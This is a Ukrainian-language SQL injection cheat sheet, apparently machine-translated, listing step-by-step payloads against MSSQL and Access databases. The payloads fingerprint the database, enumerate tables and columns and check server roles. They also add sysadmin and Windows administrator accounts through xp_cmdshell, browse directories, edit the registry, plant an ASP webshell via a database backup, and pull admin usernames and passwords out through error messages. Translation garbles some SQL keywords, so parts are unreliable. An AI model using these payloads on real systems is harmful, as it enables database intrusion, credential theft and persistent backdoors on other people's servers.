1. Визначити, чи є ін'єкція ; та 1=1 ; та 1=2
2. Попереднє рішення про те, чи є це mssql ; та користувач>0
3. Оцінюйте систему баз даних ; та (вибрати count(*) з sysobjects)>0 mssql ; та (вибрати count(*) з msysobjects)>0 доступу
4. Параметр ін'єкції — це символ 'та [критерії запиту] та ''='
5. Під час пошуку немає відфільтрованих параметрів 'та [критерії запиту] та '%25'='
6. Вгадайте назву столу ; та (виберіть Count(*) з [назва таблиці])>0
7. Вгадай поле ; та (вибрати Count (ім'я поля) з назви таблиці)>0
8. Вгадайте тривалість рекорду в полі ; та (вибрати топ-1 len(ім'я поля) з назви таблиці)>0
9. (1) Вгадайте ASCII-значення поля (access) ; та (вибрати топ-1 ASC (півполе (ім'я поля, 1,1)) з назви таблиці)>0
(2) Вгадайте ASCII-значення поля (mssql) ; та (вибрати топ-1 Unicode(підрядок(ім'я поля,1,1)) з назви таблиці)>0
10. Структура дозволу на тестування (mssql) ; та 1=(вибрати IS_SRVROLEMEMBER('sysadmin')); -- ; та 1=(вибрати IS_SRVROLEMEMBER('serveradmin')); -- ; та 1=(вибрати IS_SRVROLEMEMBER('setupadmin')); -- ; та 1=(вибрати IS_SRVROLEMEMBER('securityadmin')); -- ; та 1=(вибрати IS_SRVROLEMEMBER('diskadmin')); -- ; та 1=(вибрати IS_SRVROLEMEMBER('bulkadmin')); -- ; та 1=(вибрати IS_MEMBER('db_owner')); --
11. Додайте обліковий запис для mssql та системи ; виконавчий master.dbo.sp_addlogin ім'я користувача; -- ; exec master.dbo.sp_password null, ім'я користувача, пароль; -- ; exec master.dbo.sp_addsrvrolemember ім'я користувача sysadmin; -- ; виконавчий master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec master.dbo.xp_cmdshell 'net user username password /add'; -- ; Exec master.dbo.xp_cmdshell 'Net Localgroup Administrators Username /add'; --
12. (1) Перегляньте каталог ; Create table dirs(Paths varchar(100), id int) ; вставити директори exec master.dbo.xp_dirtree 'c:\' ; та (вибрати топ-1 шлях із директорів)>0 ; та (виберіть верхній 1 шлях із DIRS, де шляхи не входять ('шляхи, отримані з попереднього кроку'))>)
(2) Перегляд каталогу ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; вставити тимчасовий виконавчий master.dbo.xp_availablemedia; -- Візьми всі поточні диски ; вставити у temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Отримати список підкаталогів ; вставити у temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Отримати структуру дерева каталогів для всіх підкаталогів ; Вставити у temp(id) exec master.dbo.xp_cmdshell 'ввести C:\web\index.asp'; -- Переглянути вміст файлу
13. Збережені процедури в mssql xp_regenumvalues Кореневий ключ реєстру, дочірній ключ ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' повертає всі ключові значення у кількох наборах записів xp_regread Кореневий ключ, дочірній ключ, ім'я значення ключа ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' повертає значення встановленого ключа xp_regwrite Кореневий ключ, дочірній ключ, ім'я значення, тип значення, значення Існує два типи значень: REG_SZ REG_DWORD для типів символів і для цілих чисел ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' до реєстру xp_regdeletevalue Кореневий ключ, підключ, ім'я значення exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' для видалення значення xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' для видалення ключа, включаючи всі значення під цим ключем
14. Резервне копіювання MSSQL створює вебшелл Модель використання створити таблицю cmd (зображення str); вставити у значення cmd(str) ('<% Dim oScript %>'); резервне копіювання моделі бази даних на disk='c:\l.asp';
15. Вбудовані функції MSSQL ; та (виберіть @@version)>0, щоб отримати номер версії Windows ; та user_name()='dbo' для визначення, чи є підключений користувач поточної системи SA ; та (вибрати user_name())>0 Вибухнули підключених користувачів поточної системи ; та (виберіть db_name())>0, щоб отримати поточну підключену базу даних
Порушення з ручною анотацією баз даних MSSQL
1. Відкрити поточну назву таблиці та назву стовпця Введіть "'having 1=1--" після точки введення, щоб отримати відповідне повідомлення англійською мовою, в якому можна побачити назву таблиці та назву стовпця. Відправте "group by the list name with 1=1--", щоб отримати іншу назву стовпця; Продовжуйте подавати групу за списком відкритої назви таблиці, назвою відкритої таблиці. Друга назва стовпця має 1=1--", що дає іншу назву стовпця. Комітуйте так само, поки сторінка не перестане повертати повідомлення про помилки, щоб отримати всі назви стовпців. Цікаві факти: Violent Table Names та Column Names використовуються у поєднанні з GROUP BY у SQL-операторах для умовних рішень. Оскільки оператор є неповним, база даних повертає повідомлення про помилку і відображає назву таблиці та назву стовпця. Базовий метод може відкривати лише поточну таблицю в базі даних, і якщо таблиця містить багато назв стовпців, дуже складно використовувати базовий метод.
По-перше. Всі імена баз даних відкриті Використовуйте оператор "and 0<>(select count(*) from master.dbo.sysdatabases, де name>1 і dbid=[N])" для відкриття довільних назв таблиць і колонок у базі даних, де "[N]" представляє N-ту таблицю в базі даних. Крок 1: Після введення точки введіть наступне твердження: "and 0<>(select count(*) from master.dbo.sysdatabases, де name>1 і dbid=12)", оскільки значення dbid знаходиться від 1 до 5, яке використовується системою, тому користувач мав побудувати його з 6, і ми ввели ім'я>1, поле імені є типом символу, і порівняння чисел буде неправильним, тому після подання IE поверне таку інформацію: «Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] перетворює значення nvarchar 'Northwind' у тип даних int колонка. Таким чином, значення поля імені відкривається, тобто ми отримуємо назву бази даних «Northwind». Зміна значення "dbid" дозволяє отримати всі імена бази даних.
та 0<>(вибрати count(*) з master.dbo.sysdatabases, де name>1 і dbid=[N])-- Змінити N, щоб вибухнути всі імена баз даних з 6
По-друге. Вивести всі назви таблиць у вказаній базі даних Після отримання імені бази даних потрібно отримати всі імена таблиць у бібліотеці, подати таку заяву: "and 0<>(виберіть топ-1 ім'я з master.dbo.sysobjects, де xtype='U')", ось ім'я таблиці в головній базі даних, а SQL-оператор запиту повертає значення імені, а потім порівнює його з числом 0, щоб значення імені було відкрите. Після подання заявки назва столу була «'spt_monito» була відкрита. Потім відкриваються інші таблиці, і подається наступне твердження: "and 0<>(виберіть топ-1 ім'я з master.dbo.sysobjects, де xtype='U' і ім' не в('spt_monito')))", і відкривається ще одна таблиця під назвою "cd512". Файл "і ім'я не в(' spt_monito',' CD512',..))" Ви можете дізнатися всі назви столів.
та 0<>(виберіть топ-1 ім'я з [вкажіть назву бази даних].dbo.sysobjects, де xtype='U')-- та 0<>(виберіть топ-1 ім'я з [вкажіть назву бази].dbo.sysobjects, де xtype='U' і ім' не в('[Exploed table name]'))-- та 0<>(виберіть назву топ-1 з [вкажіть назву бази даних].dbo.sysobjects, де xtype='U' і ім' не в('[Ім'я вибухової таблиці]', '[Вибухнута назва другої таблиці]')))--
4. Вивести всі назви стовпців у вказаній таблиці та 0<>(виберіть count(*) з bbs.dbo.sysobjects, де xtype='U' та name='admin' та uid>(str(id))) Конвертуйте значення ID у тип символу, а потім порівняйте його з цілочисельним. Ідентифікаційний номер вийшов. Значення: 949578421 name='назва таблиці'
та 0<>(виберіть топ-1 ім'я з wutong.dbo.syscolumns, де id=949578421)-- Ім'я поля в таблиці адміністратора відкривається
Повторно надіслати і 0<>(вибрати топ-1 ім'я з wutong.dbo.syscolumns, де id=949578421 а ім'я не в('adduser')))-- Файл "і ім'я не в(' spt_monito',' CD512',..))" Всі назви полів можна знайти в таблиці адміністратора.
та 0<>(вибрати count(*) з [вкажи назву бази].dbo.sysobjects, де xtype='U' та name='[Назва таблиці поля, що підлягає вибуху]' та uid>(str(id))) — ID-значення імені таблиці поля, яке підлягає вибуху
та 0<>(виберіть топ-1 ім'я з [вкажіть назву бази даних].dbo.syscolumns, де id=exploded id value) — ім'я поля в таблиці значень вибухового id
та 0<>(виберіть топ-1 ім'я з [вкажіть назву бази даних].dbo.syscolumns, де id=Вибухове значення id і ім'я не в('[Exploed field name]')))--
5. Прочитайте дані у вказаній таблиці
та 0<(виберіть A_ID з wutong.dbo.admin, де A_UserID>1) — контент, який зламав A_PWD
та 0<(виберіть [поле, що існує] з [вкажіть назву бази даних].dbo.[назва таблиці до запиту], де [ім'я поля для вибухового вмісту]>1)--
та 0<(виберіть A_ID з wutong.dbo.admin, де A_PWD>1 і A_UserID='admin') — Пароль адміністратора відкритий
та 0<(Виберіть Top 1 A_UserID FROM admin, де A_ID<>1) — ім'я адміністратора id<>1 (fuhao)
і 0<(Виберіть Топ-1 A_UserID З адміністратора, де A_ID <>1 і A_UserID <> 'fuhao') — ім'я другого адміна <> не дорівнює (tuiguang)
і 0<(Виберіть Топ-1 A_UserID З адміністрації, де A_ID <>1 і A_UserID <> 'fuhao' і A_UserID <> 'tuiguang')--
Після того, як ви знаєте назву таблиці та назву стовпця бази даних, ви можете використати "оператор запиту", щоб прочитати будь-яку інформацію з бази даних. Наприклад, якщо ви хочете прочитати N-ті дані у стовпці таблиці, ви можете подати заяву: "and (Виберіть назву Top 1 column name FROM table name, де id=[N])>1" ([N] позначає N-ті дані у стовпці), і ви зможете дізнатися потрібні дані з інформації, яку повертає IE.
|